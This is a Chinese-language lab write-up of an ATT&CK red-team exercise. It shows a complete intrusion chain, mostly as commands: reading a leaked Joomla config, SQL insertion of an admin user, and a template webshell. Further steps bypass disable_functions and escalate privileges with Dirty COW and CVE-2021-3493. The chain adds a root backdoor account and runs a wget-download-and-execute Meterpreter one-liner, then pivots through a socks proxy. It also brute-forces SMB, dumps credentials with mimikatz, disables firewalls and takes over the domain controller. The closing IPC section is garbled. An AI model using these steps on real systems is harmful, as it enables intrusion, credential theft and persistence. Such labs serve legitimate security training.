ATT&CK实战系列-红队评估(三)

注:遇到问题不要急,上网搜一搜,多试几个搜索引擎

ATT&CK实战系列-红队评估(三)_第1张图片

外网信息收集
我们首先对已知的IP(192.168.1.110)进行端口扫描:
┌──(rootkali)-[~/桌面]
└─# nmap -T4 -sC -sV 192.168.1.110
ATT&CK实战系列-红队评估(三)_第2张图片
ATT&CK实战系列-红队评估(三)_第3张图片

如上图所示,发现Centos上面开放了22、80、和3306端口,分别运行着OpenSSH、nginx和MySQL,
访问80端口,发现是一个Joomla CMS搭建的站点
ATT&CK实战系列-红队评估(三)_第4张图片

Joomla是一套全球知名的内容管理系统,是使用PHP语言加上MySQL数据库所开发的软件系统。
Kali Linux中有一个漏洞扫描器叫做Joomscan,专门用于查找Joomla中的漏洞。
只需在kali里面安装一下即可
┌──(rootkali)-[~/桌面]
└─# apt install joomscan
输入以下命令使用对Joomscan对目标网站进行扫描:
┌──(rootkali)-[~/桌面]
└─# joomscan -u 192.168.1.110
ATT&CK实战系列-红队评估(三)_第5张图片
ATT&CK实战系列-红队评估(三)_第6张图片

发现并没有扫出来什么漏洞,但是发现了Joomla的版本为3.9.12,版本挺新的。
但扫出来的结果找到了一个可读的配置文件,让我们检查配置文件
注:由于用浏览器查看没有换行,我们把它下载下来
┌──(rootkali)-[~/桌面]
└─# wget http://192.168.1.110/configuration.php~
ATT&CK实战系列-红队评估(三)_第7张图片

发现了一个数据库的账号和密码,testuser/cvcvgjASD!@:
没有其他重要的信息我们就只能扫一下目录了
安装:
┌──(rootkali)-[~/桌面]
└─# apt install dirsearch
扫描:
┌──(rootkali)-[~/桌面]
└─# dirsearch -u 192.168.1.110
ATT&CK实战系列-红队评估(三)_第8张图片
ATT&CK实战系列-红队评估(三)_第9张图片

经过我的不懈努力发现后台地址
ATT&CK实战系列-红队评估(三)_第10张图片

使用弱口令爆破一下,发现不行,我们只能换条思路,我们可以使用之前发现的数据库账号和密码连接一下数据库,
在数据库里面试着找一下后台密码,由于使用使用命令行不方便,我们使用Navicat工具连接。
ATT&CK实战系列-红队评估(三)_第11张图片
ATT&CK实战系列-红队评估(三)_第12张图片

尝试破解后台管理员密码,发现不是常规的加密。只能放弃,在Joomla官网找到了如何恢复或重置您的管理员密码?

来自 https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F

┌──(rootkali)-[~/桌面]
└─# mysql -h 192.168.1.110 -u testuser -p 1 ⨯
Enter password: cvcvgjASD!@

MySQL [joomla]> INSERT INTO am2zu_users
-> (name, username, password, params, registerDate, lastvisitDate, lastResetTime)
-> VALUES (‘Administrator2’, ‘admin2’,
-> ‘d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199’, ‘’, NOW(), NOW(), NOW());
或:
INSERT INTO am2zu_users (name, username, password, params, registerDate, lastvisitDate, lastResetTime) VALUES (‘Administrator2’, ‘admin2’,‘d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199’, ‘’, NOW(), NOW(), NOW());

MySQL [joomla]> INSERT INTO am2zu_user_usergroup_map (user_id,group_id)
-> VALUES (LAST_INSERT_ID(),‘8’);
或:
INSERT INTO am2zu_user_usergroup_map (user_id,group_id) VALUES (LAST_INSERT_ID(),‘8’);

用户名为admin2,密码为secret

添加成功之后登录,写入WebShell
在控制栏–>Extensions–>Templates–>Templates–>Beez3 Details and Files–>index.php
ATT&CK实战系列-红队评估(三)_第13张图片

ATT&CK实战系列-红队评估(三)_第14张图片

使用蚁剑连接成功
ATT&CK实战系列-红队评估(三)_第15张图片

却发现不能执行命令
ATT&CK实战系列-红队评估(三)_第16张图片

应该是设置了disable_functions,禁用了一些函数,我又在模板中写了一个phpinfo,访问查看确实设置了disable_functions
ATT&CK实战系列-红队评估(三)_第17张图片

方法1:
绕过disbale_functions的方法有很多,较为常见的我们可以用LD_PRELOAD绕过,需要下载一个利用脚本exploit.php:
https://github.com/MrAnonymous-1/disable_functions

在模板编辑中新建一个文件并将利用脚本exploit.php的内容复制进去:
ATT&CK实战系列-红队评估(三)_第18张图片

访问文件,并发送POST请求
ATT&CK实战系列-红队评估(三)_第19张图片

方法2:
安装蚁剑插件,下载地址:
https://github.com/Medicean/as_bypass_php_disable_functions

安装方法:
蚁剑插件都放在了antswork/antData/plugins目录下
只需要把文件拖到插件目录,重启蚁剑安装即可
ATT&CK实战系列-红队评估(三)_第20张图片
ATT&CK实战系列-红队评估(三)_第21张图片
ATT&CK实战系列-红队评估(三)_第22张图片

会生成一个.antproxy.php的文件,创建个副本,然后把文件添加上去,就成功绕过了
ATT&CK实战系列-红队评估(三)_第23张图片

方法3:
工具下载:
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
用蚁剑把bypass_disablefunc.php和bypass_disablefunc_x64.so上传到目标的同一目录,注:.os文件需要根据目标系统架
构选择,然后访问bypass_disablefunc.php,cmd是执行命令,outpath是读写权限的目录,sopath是.so文件的绝对路径。

payload如下:
http://192.168.1.110/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so
ATT&CK实战系列-红队评估(三)_第24张图片

接下来就是信息收集
我使用的是第二种方式
主机信息收集
1、获取内核,操作系统和设备信息
uname -a 打印所有可用的系统信息
uname -m 内核架构
cat /etc/*-release 发布信息
cat /etc/issue 发布信息
cat /proc/version 内核信息

2.同户和组
cat /etc/passwd      系统所有用户
cat /etc/group       系统所有组
cat /etc/group        所有用户hash(需要root权限)
finger、finger user 当前登录的用户、查询用户的基本信息

3、用户和权限信息 
cat /etc/sudoers 可以使用sudo提升到root的用户(需要root权限) 
sudo -l          列出目前用户可执行与无法执行的指令 

4、环境信息 
env 或 set       打印系统环境信息 
echo $PATH       环境变量中的路径信息  
cat /etc/profile 显示默认系统遍历 
cat /etc/shells  显示可用的shell 
5、有用的命令 
find / -perm -4000 -type f                      查找SUID的文件 
find / -uid 0 -perm -4000 -type f               查找root权限的SUID文件 
find / -perm -2 -type f                         找出可写的文件
find / ! -path "/proc/" -perm -2 -type f -print 查找/proc以外的可写文件 
find / -perm -2 -type d                         找出可写目录 
6、服务信息 
ps aux 查看进程信息 
cat /etc/inetd.conf    由inetd管理的服务列表 
cat /etc/xinetd.conf   由xinetd管理的服务列表 
cat /etc/exports       nfs服务器的配置
7、作业和任务 
crontab -l -u %username% 显示指定用户的计划作业(需要root权限) 
ls -la /etc/cron* 计划任务 
top 列出当前进程

8、网络、路由和通信 
/sbin/ifconfig -a 列出网络接口信息 
cat /etc/network/interfaces 列出网络接口信息 
arp -a 查看系统arp表 
route 打印路由信息 
netstat -an 打印本地端口开放信息 
iptables -L 列出iptable的配置规则 
cat /etc/services 查看端口服务映射

9、软件信息 
dpkg -l 软件安装(Debian) 
rpm -qa 软件安装(Red Hat) 
sudo -V 查看sudo的版本信息

可知目标主机为Ubuntu16,并且发现一个192.168.93.0/24网段,但是改主机的IP却为192.168.93.120,
是一个内网IP。有点诡异,那我们访问的192.168.1.110去哪了?现在这里留个坑。

接着,我们在/tmp/mysql目录里面发现了一个test.txt文件,在里面发现了一组用户名和密码
(wwwuser/wwwuser_123Aqx):
ATT&CK实战系列-红队评估(三)_第25张图片

难道这是ssh的凭证?但是我们之前在信息收集时并没有发现过改用户,不管了,先连连试试:
ATT&CK实战系列-红队评估(三)_第26张图片

竟然连接成功了。此时我们在执行ifconfig却发现目标主机的系统版本信息和网络连接等信息全变了:
ATT&CK实战系列-红队评估(三)_第27张图片

系统从原来的Ubuntu变成了CentOS,IP也变成了两个一个是我们之前访问的192.168.1.110,一个
是192.168.93.0/24网段的192.168.93.100。
看来目标网站是做了反向代理,将处于内网的Ubuntu(192.168.93.120)代理到了CentOS(192.168.1.110)上。

到目前我们已经拿下了两台主机了:
CentOS:192.168.1.110
Ubuntu:192.168.93.120
但是权限都很低,虽然我们有了CentOS的用户名和密码,但是CentOS主机禁止了当前用户执行sudo,为了能执行
更多的命令我们还需要进行提权。

权限提升

CentOS提权
我们使用大名鼎鼎的脏牛(CVE-2016-5195)对CentOS进行提权。
首先下载Exp:https://github.com/FireFart/dirtycow
通过Xftp把文件上传到CentOS里面,编译下载的Exp:
gcc -pthread dirty.c -o dirty -lcrypt
rm -rf /tmp/passwd.bak
./dirty 123456
执行完成后,会在目标主机上添加一个名为firefart,密码为123456且具备root权限的用户,
切换到该用户即可获得root权限
ATT&CK实战系列-红队评估(三)_第28张图片

权限维持
添加root后门
[firefart@localhost wwwuser]# useradd -p openssl passwd -1 -salt 'salt' 123456 guest -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld
用户名:guest 密码:123456

Ubuntu提权(CVE-2021-3493)
影响版本:
• Ubuntu 20.10
• Ubuntu 20.04 LTS
• Ubuntu 19.04
• Ubuntu 18.04 LTS
• Ubuntu 16.04 LTS
• Ubuntu 14.04 ESM
刚好Ubuntu16.04

Exp下载地址:https://github.com/briskets/CVE-2021-3493
下载好通过蚁剑上传上去
在这里插入图片描述

攻入内网
为了更好的渗透内网,我要给CentOS上一个metasploit的shell:
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > set target 7
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.1.100
msf6 exploit(multi/script/web_delivery) > exploit

执行后,会生成一条命令:
wget -qO qo2pklcJ --no-check-certificate http://192.168.1.100:8080/UDHF3ovTvSymxu; chmod +x qo2pklcJ; ./qo2pklcJ& disown
ATT&CK实战系列-红队评估(三)_第29张图片

将该命令在目标机CentOS上执行即可获得meterpreter:
在这里插入图片描述

路由转发和Socks代理
ATT&CK实战系列-红队评估(三)_第30张图片

路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用
earthworm搭建socks5反向代理服务。
下载链接:https://github.com/idlefire/ew
在攻击机上执行
┌──(rootkali)-[~/桌面]
└─# ./ew_for_linux64 -s rcsocks -l 1080 -e 1234

把ew__for_linux上传到CentOS,并执行以下命令
[firefart@localhost wwwuser]# ./ew_for_linux64 -s rssocks -d 192.168.1.100 -e 1234
然后配置proxychins,将scoks5服务器指向127.0.0.1:1080,之后便可以使用proxychains将我们的程序代理进内网了。

在这里插入图片描述

内网主机探测
使用ping命令行
for k in $ ( seq 1 255);do ping -c 1 192.168.93.$k|grep “ttl”|awk -F “[ :]+” ‘{print $4}’; done在这里插入图片描述

使用auxiliary/scanner/smb/smb_version对域内存活的主机和版本号进行探测
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

端口探测
┌──(rootkali)-[~/桌面]
└─# proxychains4 nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F
ATT&CK实战系列-红队评估(三)_第31张图片

看到有445端口,使用smb模块探测一下smb漏洞,结果都没有漏洞,只能换种方法了
ATT&CK实战系列-红队评估(三)_第32张图片

访问80无果,只能尝试爆破了
smb密码爆破枚举
因为这三台都开了445端口,可以使用smb,使用msf中的smb_login模块进行密码枚举尝试,每台都尝试
进行枚举,分别是192.168.93.10,192.168.93.20,192.168.93.30
不知道为啥,我们的smb_login模块一直报不出来,可能是kali的原因。
就换了个其他的方式:
┌──(rootkali)-[~/桌面]
└─# proxychains hydra -l administrator -P /root/password.txt smb://192.168.93.20
ATT&CK实战系列-红队评估(三)_第33张图片

wmiexec,它出现在所有的Windows操作系统中,并由一组强大的工具集合组成,用于管理本地
或远程的Windows系统
下载地址:https://github.com/SecureAuthCorp/impacket
┌──(rootkali)-[~/桌面/impacket/examples]
└─# proxychains python3 wmiexec.py ‘administrator:[email protected]
ATT&CK实战系列-红队评估(三)_第34张图片

C:>tasklist -V 发现TEST进程,可以尝试上传mimikatz抓密码
ATT&CK实战系列-红队评估(三)_第35张图片

通过smb共享连接上传mimikatz
下载地址:https://github.com/gentilkiwi/mimikatz/releases
┌──(rootkali)-[~/桌面]
└─# proxychains smbclient //192.168.93.20/C$ -U administrator
smb: > put mimikatz.exe
ATT&CK实战系列-红队评估(三)_第36张图片

C:>mimikatz.exe “privilege::debug” “log” “sekurlsa::logonpasswords” “exit” > log.log
抓到了域控密码
ATT&CK实战系列-红队评估(三)_第37张图片

#设置远程桌面端口
reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f
#开启远程桌面
wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 0
#检查端口状态
netstat -an|find “3389”

关闭防火墙:
Windows Server 2003 系统及之前版本
netsh firewall set opmode disable
Windows Server 2003 之后系统版本
netsh advfirewall set allprofiles state off

定位域管理员
下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
ATT&CK实战系列-红队评估(三)_第38张图片

另一台PC
可以直接使用exploit/windows/smb/psexec模块
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set SMBuser administrator
set SMBpass 123qwe!ASD
set payload windows/meterpreter/bind_tcp
Exploit
也可以使用wmiexec连接
横向域控
┌──(rootkali)-[~/桌面/impacket/examples]
└─# proxychains4 python3 wmiexec.py ‘TEST.ORG/Administrator:[email protected]
ATT&CK实战系列-红队评估(三)_第39张图片

IPC远程连接
IPC ( I n t e r n e t P r o c e s s C o n n e c t i o n ) 是 共 享 “ 命 名 管 道 ” 的 资 源 , 它 是 为 了 让 进 程 间 通 信 而 开 放 的 命 名 管 道 , 可 以 通 过 验 证 用 户 名 和 密 码 获 得 相 应 的 权 限 , 在 远 程 管 理 计 算 机 和 查 看 计 算 机 的 共 享 资 源 时 使 用 。 利 用 I P C (Internet Process Connection)是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道, 可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC InternetProcessConnection使IPC连接
者可以与目标主机建立一个连接,得到目标主机上的目录结构、用户列表等信息。
利用条件:
1.管理员开启了默认共享
2.139或445端口开放

net use \192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator
dir \192.168.93.10\CKaTeX parse error: Undefined control sequence: \users at position 1: \̲u̲s̲e̲r̲s̲\administrator\…\users\administrator\Documents\flag.txt
ATT&CK实战系列-红队评估(三)_第40张图片

你可能感兴趣的:(安全)